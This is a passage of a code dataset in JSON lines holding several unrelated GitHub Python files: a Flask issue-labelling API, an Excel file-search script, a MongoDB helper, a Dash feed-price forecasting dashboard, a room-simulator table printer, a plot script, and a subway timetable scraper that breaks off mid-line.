"attribute"}, {"api_name": "pygame.image.load", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pytmx.load_pygame", "line_number": 71, "usage_type": "call"}, {"api_name": "pyscroll.data.TiledMapData", "line_number": 83, "usage_type": "call"}, {"api_name": "pyscroll.data", "line_number": 83, "usage_type": "attribute"}]}
{"seq_id": "6965991204", "text": "from transformers import  AutoTokenizer, AutoModelForSequenceClassification, pipeline\n#import torch.nn.functional as F\nfrom flask import request, Flask\nimport numpy as np\n#import torch\nimport json\nimport re\n\napp = Flask(__name__)\n\ndef get_pipleine():\n    tokenizer = AutoTokenizer.from_pretrained(\"SarmadBashir/Issue_Assignment\", model_max_length = 128)\n    model = AutoModelForSequenceClassification.from_pretrained(\"SarmadBashir/Issue_Assignment\")\n    pipe = pipeline(\"text-classification\", model=model, tokenizer=tokenizer)\n    return pipe\n\npipe = get_pipleine()\n\n#path = '../issue_assigner/model'\n#tokenizer = BertTokenizerFast.from_pretrained(path, lower_case=True)\n#model = BertForSequenceClassification.from_pretrained(path)\n\ndef preprocess(text):\n    line = text.lower()\n    line = re.sub(r\"http\\S+\", \"\", line)\n    line = re.sub(\"[^A-Za-z]+\", \" \", line)\n    line = re.sub('\\s+', ' ', line)\n    line = line.replace('\\t',' ')\n    line = line.replace('\\n',' ')\n    line = line.replace('\\r',' ')\n    line = line.replace(',','')\n    line = line.replace('-',' ')\n    line = ' '.join(line.split())\n\n    return line\n\n#def get_prediction(input_text, tokenizer, model):\ndef get_prediction(input_text, pipe):\n    map_labels = {\n                 'LABEL_0': 'bug',\n                 'LABEL_1': 'enhancement',\n                 'LABEL_2': 'internal improvement',\n                 'LABEL_3': 'hilla',\n                 'LABEL_4': 'a11y',\n                 'LABEL_5': 'documentation'\n             }\n    \n    output = pipe(input_text)\n    \n    label = map_labels.get(output[0]['label'])\n    score = round(output[0]['score'], 2)\n\n    #MAX_LENGTH =  128\n    #test_encodings = tokenizer(input_text, truncation=True, \n    #                           padding=True, \n    #                           max_length=MAX_LENGTH, \n    #                           return_tensors=\"pt\")\n\n    #with torch.no_grad():\n    #    logits = model(**test_encodings).logits\n    \n    #predictions = np.argmax(logits, axis=1)\n    #top_label_int =  predictions.tolist()[0]\n    #top_label = map_labels.get(top_label_int)\n\n    #probabilities = F.softmax(logits, dim=1)\n    #top_probability = probabilities[0].tolist()[top_label_int]\n    #top_probability = round(top_probability, 2)\n\n    return label, score\n\n@app.route(\"/assigner\", methods=['GET'])\ndef run():\n    \n    #issue_text = request.args.get('issue_text', '')\n    data = request.get_json()\n    issue_text = data['text']\n    print(issue_text)\n    if issue_text == '':\n        return app.response_class(response='Provide valid input text',\n                                  status=400,\n                                  mimetype='application/json'\n                                  )\n        \n    input_text =  preprocess(issue_text)    \n    top_label, top_probability = get_prediction(input_text, \n                                                pipe) \n    #                                            tokenizer, \n    #                                            model)\n    \n    result = {'prediction': {'label': top_label, \n                             'probability': top_probability\n                             }\n              }\n\n    response = app.response_class(response=json.dumps(result),\n                                  status=200,\n                                  mimetype='application/json'\n                                  )\n    return response\n\nif __name__ == \"__main__\":\n    app.run(debug=True, use_reloader=False, host='0.0.0.0', port=5000)", "repo_name": "SarmadBashir/issue_assignment", "sub_path": "flask_api.py", "file_name": "flask_api.py", "file_ext": "py", "file_size_in_byte": 3470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 9, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 12, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 12, "usage_type": "name"}, {"api_name": "transformers.AutoModelForSequenceClassification.from_pretrained", "line_number": 13, "usage_type": "call"}, {"api_name": "transformers.AutoModelForSequenceClassification", "line_number": 13, "usage_type": "name"}, {"api_name": "transformers.pipeline", "line_number": 14, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 25, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 26, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 27, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 96, "usage_type": "call"}]}
{"seq_id": "3774930293", "text": "# coding=utf-8\n# python3\n\nimport os\nfrom openpyxl import Workbook\nfrom time import ctime\n# from korean import Noun\n\ncount = colus = cnt = 1\nworkbook = Workbook()\nworksheet = workbook.worksheets[0]\n\n\ndef save2xlsx(fullname, col):\n    global count, colus, cnt\n    index = count if col == 1 else colus if col == 2 else cnt\n    worksheet.cell(row=index, column=col).value = fullname\n    if(col == 1):\n        count += 1\n    elif(col == 2):\n        colus += 1\n    else:\n        cnt += 1\n\n\ndef removeLyric(fullname):\n    print(fullname)\n    if '.lrc' in fullname.lower():\n        try:\n            os.remove(fullname)\n            save2xlsx(fullname, 3)\n        except:\n            pass\n\n\ndef findMusics(fullname, col):\n    if '.ncm' in fullname.lower():\n        save2xlsx(fullname, col)\n    if '???' in fullname:\n        removeLyric(fullname)\n\n\ndef findImages(fullname, col):\n    if '.nef' in fullname.lower():\n        save2xlsx(fullname, col)\n\n\ndef searchFolder(dir, col):\n    for file in os.listdir(dir):\n        fullname = dir + '\\\\' + file\n        # if '2018VN' in fullname:\n        if os.path.isdir(fullname):\n            searchFolder(fullname, col)\n        else:\n            # findMusics(fullname, col)\n            findImages(fullname, col)\n\n\nif __name__ == \"__main__\":\n    print('\\n>>> start ' + ctime() + '\\n')\n    for adrr in ['E:', 'F:']:\n        for file in os.listdir(adrr):\n            dir = os.path.join(adrr, '\\\\' + file)\n            # if os.path.isdir(dir) and 'music' in dir.lower(): # for music\n            if os.path.isdir(dir) and 'DCIM' == file:\n                searchFolder(dir, 1)\n    # searchFolder(os.getcwd(), 2) # for music\n    workbook.save(filename='D:\\\\PythonProject\\\\PythonSpider\\\\Calculate1.xls')\n    print('\\n<<< end ' + ctime())\n", "repo_name": "JongLim107/WinOSFileOperation", "sub_path": "Calculate.py", "file_name": "Calculate.py", "file_ext": "py", "file_size_in_byte": 1756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openpyxl.Workbook", "line_number": 10, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 30, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "time.ctime", "line_number": 60, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "time.ctime", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "29820424891", "text": "from pymongo import MongoClient\nfrom bson.json_util import dumps, loads\nfrom dotenv import load_dotenv\n\nimport os\n\n\nclass Database(object):\n\n    load_dotenv()\n    url = os.getenv('MONGODB_CONNSTRING')\n    database=None\n    client=None\n    \n    @staticmethod\n    def initialize():\n        connection=MongoClient(Database.url)\n        try:\n            Database.client=connection\n            Database.database = connection[\"textToSpeech\"]\n            print(' *', 'Connected to MongoDB!') \n        except Exception as e:\n            print(' *', \"Failed to connect to MongoDB at\")\n            print('Database connection error:', e)\n\n    @staticmethod\n    def insert_one(collection, data):\n        return Database.database[collection].insert_one(data)\n\n    @staticmethod\n    def close():\n        Database.client.close()", "repo_name": "software-students-fall2022/containerized-app-exercise-team9", "sub_path": "machine-learning-client/web-app/mongodb.py", "file_name": "mongodb.py", "file_ext": "py", "file_size_in_byte": 813, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 10, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 11, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "18147600285", "text": "import dash\nfrom dash import dcc, html, Input, Output\nimport pandas as pd\nimport io\nfrom dash.exceptions import PreventUpdate\nimport base64\nimport csv\n\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n\nnew_df=Gold_coin_prediction.join([Universal_prediction, NewHope_prediction,CPI_prediction,Japfa_prediction,QLFeed_prediction,QLAgrofood_prediction,WidodoMakmur_prediction,Farmsco_prediction,SabasDian_prediction,KertamulyaSari_prediction,Agrico_prediction,Wonokoyo_prediction,CibadakIndah_prediction,Gorontalo_prediction,NTB_prediction])\n\napp = dash.Dash(__name__,external_stylesheets=external_stylesheets)\n\napp.layout = html.Div([\n        html.H2('Feedmill Price Forecasts(daily)', style={'textAlign': 'center', 'font-family': 'Arial','fontWeight': 'bold'}),\n        dcc.Graph(id=\"time-series-chart\"),\n        html.P(\"Select Feedmill:\",style={'textAlign': 'center'}),\n        dcc.Dropdown(\n            id=\"ticker\",\n            options=[\"PT. Gold Coin\",\"PT. Universal\", \"PT. NEW HOPE INDONESIA\",\"CPI\",\"Japfa\",\"QLFeed\",\"QLAgrofood\",\"WidodoMakmur\",\"Farmsco\",\"SabasDian\",\"KertamulyaSari\",\"Agrico\",\"Wonokoyo\",\"CibadakIndah\",\"Gorontalo\",\"NTB\"],\n            value=\"PT. Gold Coin\",\n            clearable=False,\n            style={'width': '50%', 'margin': 'auto'}\n        ),\n        html.Br(),\n        html.Br(),\n        html.Button('Download CSV', id='export-csv-button', n_clicks=0),\n        dcc.Download(id=\"download-dataframe-csv\"),\n        html.Br(),\n        html.Div(id='mae-div', style={'textAlign': 'center',\n                                 'position': 'absolute',\n                                  'bottom': '250px',\n                                  'right': '70px'\n                                     }),\n        html.Br(),\n        html.Div(id='mae-rolling-div', style={'textAlign': 'center',\n                                 'position': 'absolute',\n                                  'bottom': '220px',\n                                  'right': '70px'\n                                     })\n        \n    ])\n    \n\n@app.callback(\n    Output(\"time-series-chart\", \"figure\"), \n    Input(\"ticker\", \"value\"))\ndef display_time_series(ticker):\n    filtered_df = new_df.loc[:, [ticker, f\"yhat_{ticker}\", f\"y_lower_{ticker}\", f\"y_upper_{ticker}\"]]\n    filtered_df[f\"yhat_{ticker}\"] = filtered_df[f\"yhat_{ticker}\"].iloc[-7:]\n    filtered_df[f\"y_lower_{ticker}\"] = filtered_df[f\"y_lower_{ticker}\"].iloc[-7:]\n    filtered_df[f\"y_upper_{ticker}\"] = filtered_df[f\"y_upper_{ticker}\"].iloc[-7:]\n    \n    # Add rolling mean line\n    rolling_mean = filtered_df[ticker].rolling(window=7, min_periods=1).mean().shift(7)\n    fig = go.Figure()\n    fig.add_trace(go.Scatter(x=filtered_df.index, y=filtered_df[ticker],\n                mode='lines',\n                name='Actual'))\n    fig.add_trace(go.Scatter(x=filtered_df.index, y=rolling_mean,\n                mode='lines',\n                name='Rolling Mean'))\n    fig.add_trace(go.Scatter(x=filtered_df.index, y=filtered_df[f\"yhat_{ticker}\"],\n                mode='lines',\n                name=\"Predicted\"))\n    fig.add_trace(go.Scatter(x=filtered_df.index, y=filtered_df[f\"y_lower_{ticker}\"],\n                fill='tonexty',\n                mode='lines',\n                fillcolor='rgba(255, 0, 0, 0.2)',\n                name=\"lower bound\"))\n    fig.add_trace(go.Scatter(x=filtered_df.index, y=filtered_df[f\"y_upper_{ticker}\"],\n                fill='tonexty',\n                mode='lines',\n                fillcolor='rgba(0, 255, 0, 0.2)',\n                name=\"upper bound\"))\n    fig.update_xaxes(title_text='Date',\n    title_font=dict(\n        family=\"Arial, sans-serif\",\n        size=18,\n        color=\"black\"))\n    fig.update_yaxes(\n    title_text='Feedmill Price',\n    title_font=dict(\n        family=\"Arial, sans-serif\",\n        size=18,\n        color=\"black\"))\n    fig.update_layout(legend=dict(title=\"Legend\", orientation=\"v\", y=1.1, x=1.05, xanchor=\"center\", bgcolor='rgba(0,0,0,0)'),\n                     margin=dict(l=20, r=20, t=80, b=30)\n                     )\n    fig.update_traces(marker=dict(size=1.5))\n\n    return fig\n\n@app.callback(Output('download-dataframe-csv', 'data'),\n              Input('export-csv-button', 'n_clicks'),\n              Input('ticker', 'value'))\ndef download_csv(n_clicks, ticker):\n    if n_clicks == 0:\n        raise PreventUpdate\n    filtered_df = new_df.loc[:, [ticker, f\"yhat_{ticker}\",f\"y_lower_{ticker}\",f\"y_upper_{ticker}\"]]\n    filtered_df[f\"{ticker}_rolling_mean\"] = filtered_df[ticker].rolling(window=7, min_periods=1).mean().shift(7)\n    filtered_df.reset_index(inplace=True)\n    \n    csv_string = io.StringIO()\n    filtered_df.to_csv(csv_string, index=False, encoding='utf8')\n    csv_string.seek(0)\n    \n    timestamp = datetime.now().strftime(\"%Y-%m-%d_%H-%M-%S\")\n    filename = f\"{ticker}_daily_price_forecasts_{timestamp}.csv\"\n    \n    return dict(filename=filename, content=csv_string.getvalue())\n\n@app.callback(Output('mae-div', 'children'),\n              Input('ticker', 'value'))\ndef display_mae(ticker):\n    filtered_df = new_df.loc[:, [ticker, f\"yhat_{ticker}\"]]\n    mae = np.mean(np.abs(filtered_df[ticker] - filtered_df[f\"yhat_{ticker}\"]))\n    return html.Div([\n        html.Div(f\"Mean Absolute Error: {mae:.2f}\"),\n    ])\n\n@app.callback(Output('mae-rolling-div', 'children'),\n              Input('ticker', 'value'))\ndef display_rolling_mae(ticker):\n    filtered_df = new_df.loc[:, [ticker, f\"yhat_{ticker}\"]]\n    filtered_df[f\"{ticker}_rolling_mean\"] = filtered_df[ticker].rolling(window=7, min_periods=1).mean().shift(7) # change window size as per your requirement\n    mae_rolling = np.mean(np.abs(filtered_df[f\"{ticker}_rolling_mean\"] - filtered_df[f\"yhat_{ticker}\"]))\n    return html.Div([\n        html.Div(f\"Mean Absolute Error of Rolling Mean: {mae_rolling:.2f}\")\n    ])\n\n\nif __name__ == '__main__':\n    app.run_server(debug=True, use_reloader=False, port=8000, host='127.0.0.1')\n    \n    \n    \n", "repo_name": "rishim022/dash_app_forecasting", "sub_path": "Daily_forecast.py", "file_name": "Daily_forecast.py", "file_ext": "py", "file_size_in_byte": 5924, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dash.Dash", "line_number": 13, "usage_type": "call"}, {"api_name": "dash.html.Div", "line_number": 15, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 15, "usage_type": "name"}, {"api_name": "dash.html.H2", "line_number": 16, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 16, "usage_type": "name"}, {"api_name": "dash.dcc.Graph", "line_number": 17, "usage_type": "call"}, {"api_name": "dash.dcc", "line_number": 17, "usage_type": "name"}, {"api_name": "dash.html.P", "line_number": 18, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 18, "usage_type": "name"}, {"api_name": "dash.dcc.Dropdown", "line_number": 19, "usage_type": "call"}, {"api_name": "dash.dcc", "line_number": 19, "usage_type": "name"}, {"api_name": "dash.html.Br", "line_number": 26, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 26, "usage_type": "name"}, {"api_name": "dash.html.Br", "line_number": 27, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 27, "usage_type": "name"}, {"api_name": "dash.html.Button", "line_number": 28, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 28, "usage_type": "name"}, {"api_name": "dash.dcc.Download", "line_number": 29, "usage_type": "call"}, {"api_name": "dash.dcc", "line_number": 29, "usage_type": "name"}, {"api_name": "dash.html.Br", "line_number": 30, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 30, "usage_type": "name"}, {"api_name": "dash.html.Div", "line_number": 31, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 31, "usage_type": "name"}, {"api_name": "dash.html.Br", "line_number": 36, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 36, "usage_type": "name"}, {"api_name": "dash.html.Div", "line_number": 37, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 37, "usage_type": "name"}, {"api_name": "dash.Output", "line_number": 47, "usage_type": "call"}, {"api_name": "dash.Input", "line_number": 48, "usage_type": "call"}, {"api_name": "dash.exceptions.PreventUpdate", "line_number": 100, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 105, "usage_type": "call"}, {"api_name": "dash.Output", "line_number": 95, "usage_type": "call"}, {"api_name": "dash.Input", "line_number": 96, "usage_type": "call"}, {"api_name": "dash.Input", "line_number": 97, "usage_type": "call"}, {"api_name": "dash.html.Div", "line_number": 119, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 119, "usage_type": "name"}, {"api_name": "dash.html.Div", "line_number": 120, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 120, "usage_type": "name"}, {"api_name": "dash.Output", "line_number": 114, "usage_type": "call"}, {"api_name": "dash.Input", "line_number": 115, "usage_type": "call"}, {"api_name": "dash.html.Div", "line_number": 129, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 129, "usage_type": "name"}, {"api_name": "dash.html.Div", "line_number": 130, "usage_type": "call"}, {"api_name": "dash.html", "line_number": 130, "usage_type": "name"}, {"api_name": "dash.Output", "line_number": 123, "usage_type": "call"}, {"api_name": "dash.Input", "line_number": 124, "usage_type": "call"}]}
{"seq_id": "39565568680", "text": "from texttable import Texttable\nimport datetime\nfrom _global import insert_message\n\nclass tabela_ambiente():\n    def __init__(self, ambiente):\n        self.ambiente = ambiente\n        self.table = Texttable()\n\n    def print_table(self, global_time):\n        self.table.reset()\n        self.table.set_deco(Texttable.HEADER)\n        self.table.set_cols_dtype(['t',  # text\n                              't',  # float \n                            ])\n        self.table.set_cols_align([\"l\", \"c\"])\n \n        self.table.add_rows([[\"Informações do ambiente\", \"\"],\n                       [\"Hora: \", str(datetime.timedelta(seconds=global_time))],\n                       [\"Temperatura: \", str(round(self.ambiente.temperatura, 2))],\n                       [\"Chuva: \", str(self.ambiente.chuva)],\n                       [\"Estado Atmosférico: \", str(self.ambiente.estado_atmosferico)],\n                       [\"Sujeira: \", str(self.ambiente.sujeira)],\n                       [\" \", \" \"],\n                       [\"Último movimento foi há: \", str(datetime.timedelta(seconds=self.ambiente.mov_count))],\n                       [\"Ar-condicionado: \", str(self.ambiente.ar_condicionado)],\n                       [\"Aquecedor: \", str(self.ambiente.aquecedor)],\n                       [\"Lâmpada: \", str(self.ambiente.lampada)],\n                       [\"Porta: \", str(self.ambiente.porta)],\n                       [\"Janela: \", str(self.ambiente.janela)],\n                       [\"Televisão: \", str(self.ambiente.televisão)],\n                       [\"Aspirador de pó: \", str(self.ambiente.aspirador)]])\n        \n        print(self.table.draw())\n\nclass tabela_tarefas():\n    def __init__(self, lista_tarefas):\n        self.lista = lista_tarefas\n        self.table = Texttable()\n\n    def print_table(self):\n        self.table.reset()\n        self.table.set_deco(Texttable.HEADER)\n        self.table.set_cols_dtype(['t',  # text\n                              't',  # text\n                              't', #text\n                              't',  #text\n                              't' #text            \n                            ])\n        self.table.set_cols_align([\"l\", \"l\", \"c\", \"c\", \"c\"])\n \n        self.table.add_rows([[\"Fila de tarefas\", \"\", \"\", \"\", \"\"],\n                            [\"ID: \", \"Nome: \", \"Deadline: \", \"T. Execução: \", \"T. Requerido\"]]\n                            )\n        for tarefa in self.lista:\n            self.table.add_row([str(tarefa.id), str(tarefa.nome), str(tarefa.deadline), str(tarefa.tempo_exec), str(tarefa.tempo_req)])\n\n        print(self.table.draw())", "repo_name": "douglas-wiliam/Automated-Room-Simulator", "sub_path": "tabelas.py", "file_name": "tabelas.py", "file_ext": "py", "file_size_in_byte": 2576, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "texttable.Texttable", "line_number": 8, "usage_type": "call"}, {"api_name": "texttable.Texttable.HEADER", "line_number": 12, "usage_type": "attribute"}, {"api_name": "texttable.Texttable", "line_number": 12, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 25, "usage_type": "call"}, {"api_name": "texttable.Texttable", "line_number": 39, "usage_type": "call"}, {"api_name": "texttable.Texttable.HEADER", "line_number": 43, "usage_type": "attribute"}, {"api_name": "texttable.Texttable", "line_number": 43, "usage_type": "name"}]}
{"seq_id": "31423177994", "text": "import matplotlib.pyplot as plt\nfrom time import sleep\nimport numpy as np\nimport pickle\n\n\nfontsize = 11\nfontname = \"Arial\"\n\nplt.style.use(\"seaborn-whitegrid\")\nlabels = [f\"a{i}\" for i in range(1,6)]\ndist_1 = [0.05, 0.1, 0.025, 0.8, 0.025]\nwidth = 0.35\n\nx = np.arange(len(dist_1))\n\nfig, ax = plt.subplots()\nrects1 = ax.bar(x, dist_1, width, label='Team')\n\n# Add some text for labels, title and custom x-axis tick labels, etc.\nax.set_ylabel('Probability', fontsize=30, fontname=fontname)\n# ax.set_title('Accumulated Negative Rewards Misaligned Scenarios')\nax.set_xticks(x, labels, fontsize=30, fontname=fontname)\nax.set_ylim([0, 1])\n\n# ax.bar_label(rects1, padding=3)\n# ax.bar_label(rects2, padding=3)\n# ax.bar_label(rects3, padding=3)\n\nfig.tight_layout()\nplt.savefig(\"plots/dist2.svg\")\nplt.show()\n\n", "repo_name": "DavidRother/interaction_learning", "sub_path": "interaction_learning/scripts/paper_improved_experiments/vis_entropy.py", "file_name": "vis_entropy.py", "file_ext": "py", "file_size_in_byte": 796, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.pyplot.style.use", "line_number": 10, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 10, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}]}
{"seq_id": "74951180743", "text": "from pyquery import PyQuery\r\nimport requests\r\nimport datetime\r\nfrom openpyxl import workbook\r\nimport re\r\n# 进行数据的爬取\r\ndef sub_link():\r\n    url = 'https://dt.8684.cn/bj'\r\n    headers = {'User-Agent':\r\n                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'\r\n                }\r\n    res = requests.get(url,headers = headers)\r\n    #print('如果打印200则是请求成功:',res.status_code)\r\n    start_time = datetime.datetime.now()\r\n    print('开始爬取数据的时间为：',start_time)\r\n    res.encoding = 'utf-8' # 对原网页的数据进行编码\r\n    html_data = res.text\r\n    subway_name = [] # 地铁\r\n    subway_link = [] # 地铁的链接\r\n    subway_name_list = [] # 最终的地铁路线名\r\n    subway_link_list = []  #最终的地铁各个站台名\r\n    doc =  PyQuery((''.join(html_data)))\r\n    for item in doc.items('ul li a'):\r\n        subway_name.append(item.text())\r\n        subway_link.append(item.attr.href)\r\n    # 对各个地铁进行处理\r\n    subway_name = subway_name[:54]\r\n    for i in range(1,len(subway_name)):\r\n        if i % 2 != 0:\r\n            subway_name_list.append(subway_name[i])\r\n    # 对各个站台名进行处理\r\n    subway_link = subway_link[:54]\r\n    for i in range(1,len(subway_link)):\r\n        if i % 2 != 0:\r\n            subway_link_list.append(subway_link[i])\r\n    # 发现地铁2号线和10号线与其他的结构是不一样的,所以把这两条线路单独放在一块,其他的线路放在一块\r\n    subway_name_list_1 = [] # 除了2和10号线所有的地铁\r\n    subway_link_1 = []\r\n    subway_name_list_2_10 = []\r\n    subway_link_2_10 = []\r\n    for i in range(0, len(subway_link_list)):\r\n        if i == 1 or i == 2 or i == 10 or i == 11:\r\n            subway_name_list_2_10.append(subway_name_list[i])\r\n            subway_link_2_10.append(subway_link_list[i])\r\n        else:\r\n            subway_name_list_1.append(subway_name_list[i])\r\n            subway_link_1.append(subway_link_list[i])\r\n\r\n    return subway_name_list_1,subway_link_1,subway_name_list_2_10,subway_link_2_10,start_time\r\n\r\ndef save(sub_name_1,sub_link_1,sub_name_2_10,subway_link_2_10):\r\n    excel = workbook.Workbook() #创建一个excel文件\r\n    sheet = excel.active\r\n    # 先去求除2号线和10号线以后所有的地铁\r\n    name_temp_1 = []\r\n    name_1 = []\r\n    station_name = [] # 总的站台\r\n\r\n    star_time_1= [] # 首班车时间\r\n    star_time_2 = []\r\n\r\n    end_time_1 = [] # 尾班车时间\r\n    end_time_2 = []\r\n\r\n    station_name_2_10 = []\r\n\r\n    station_temp_2_10 = [] # 2-10的站台名站台名\r\n    str_time = []\r\n    str_time_2_10 = [] # 2-10的时间\r\n\r\n    final_station = []\r\n\r\n    final_start_time_2_10 = [] # 最终的\r\n    final_end_time_2_10 = [] \r\n\r\n    for k in range(0, len(sub_name_1)):  #len(sub_name_1)\r\n        url = 'https://dt.8684.cn' + sub_link_1[k]\r\n        station_1 = [] # 站台名\r\n        time_total = []\r\n        headers = {'User-Agent':\r\n                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'\r\n                }\r\n        res = requests.get(url,headers = headers)\r\n        #print('如果打印200则是请求成功:',res.status_code)\r\n        res.encoding = 'utf-8' # 对原网页的数据进行编码\r\n        html_data = res.text\r\n        doc =  PyQuery((''.join(html_data)))\r\n\r\n        for item in doc.items('div em'):\r\n            name_temp_1.append(item.text())\r\n        for item in doc.items('tr td a'):\r\n            station_1.append(item.text())\r\n\r\n        for item in doc.items('tr td'):\r\n            time_total.append(item.text())\r\n        str_time.append(time_total)\r\n        station_name.append(station_1)\r\n    for i in range(0, len(str_time)):\r\n        star_temp_1= [] # 首班去的集合\r\n        star_temp_2 = [] # 回来\r\n        end_temp_1= []  # 尾班\r\n        end_temp_2 = []\r\n        for j in range(0, len(str_time[i])):\r\n            if j % 5 == 1:\r\n                star_temp_1.append(str_time[i][j])\r\n            if j % 5 == 2:\r\n                star_temp_2.append(str_time[i][j])\r\n            if j % 5 == 3:\r\n                end_temp_1.append(str_time[i][j])\r\n            if j % 5 == 4:\r\n                end_temp_2.append(str_time[i][j])\r\n        star_time_1.append(star_temp_1) #  首班车去的时间\r\n        star_time_2.append(star_temp_2)\r\n        end_time_1.append(end_temp_1) # 尾班去的时间\r\n        end_time_2.append(end_temp_2)\r\n\r\n    for i in range(0,len(name_temp_1)):\r\n        if i % 2 == 0:\r\n            name_1.append(name_temp_1[i]) # name_1 地铁线路\r\n    \r\n    # 爬取剩余的2号线和10号线\r\n    for r in range(0,len(sub_name_2_10)):\r\n        url_1= 'https://dt.8684.cn' + subway_link_2_10[r]\r\n        #print(url_1)\r\n        \r\n        time_total_2_10 = []\r\n        headers = {'User-Agent':\r\n                    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36'\r\n                }\r\n        res_1= requests.get(url_1,headers = headers)\r\n        #print('如果打印200则是请求成功:',res.status_code)\r\n        res_1.encoding = 'utf-8' # 对原网页的数据进行编码\r\n        html_data_1 = res_1.text\r\n        doc_1=  PyQuery((''.join(html_data_1)))\r\n        for item in doc_1.items('div em'): # 站台名\r\n            station_temp_2_10.append(item.text())\r\n        for item in doc_1.items('tr td'):\r\n            time_total_2_10.append(item.text())\r\n        str_time_2_10.append(time_total_2_10)\r\n    #print(str_time_2_10[0])\r\n    #print(str_time_2_10[2])\r\n    for i in range(0, len(str_time_2_10)): # 4\r\n        station_2_10 = [] # 站台\r\n        final_start_time_2 = [] # 开始时间\r\n        final_end_time_2 = [] # 结束时间\r\n        for j in range(0, len(str_time_2_10[i])):\r\n            if j % 3 == 0:\r\n                station_2_10.append(str_time_2_10[i][j])\r\n            if j % 3 == 1:\r\n                final_start_time_2.append(str_time_2_10[i][j])\r\n            if j % 3 == 2:\r\n                final_end_time_2.append(str_time_2_10[i][j])\r\n        final_station.append(station_2_10) # 2,10号线的站名\r\n        final_start_time_2_10.append(final_start_time_2) # 2,10 开始时间\r\n        final_end_time_2_10.append(final_end_time_2) # 2,10 结束时间\r\n    for i in range(1,len(station_temp_2_10)):\r\n        if i % 3== 0:\r\n            station_name_2_10.append(station_temp_2_10[i])\r\n    \r\n    for i in range(0,len(name_1)):\r\n        sheet.cell(1, 5*(i+1)-4).value = name_1[i]\r\n        sheet.cell(1, 5*(i+1)-3).value = '首班车'\r\n        sheet.cell(1, 5*(i+1)-2).value = '首班车'\r\n        sheet.cell(1, 5*(i+1)-1).value = '尾班车'\r\n        sheet.cell(1, 5*(i+1)).value = '尾班车'\r\n    #print(sheet.max_column)\r\n    for i in range(0,len(station_name)): # len(station_name) = 23\r\n        for j in range(0,len(station_name[i])):\r\n            sheet.cell(j + 2,5*(i+1)-4).value = station_name[i][j] # 站台名\r\n\r\n    for i in range(0,len(star_time_1)):\r\n        for j in range(0,len(star_time_1[i])):\r\n            sheet.cell(j+2,5*(i+1)-3).value = star_time_1[i][j]\r\n            sheet.cell(j+2,5*(i+1)-2).value = 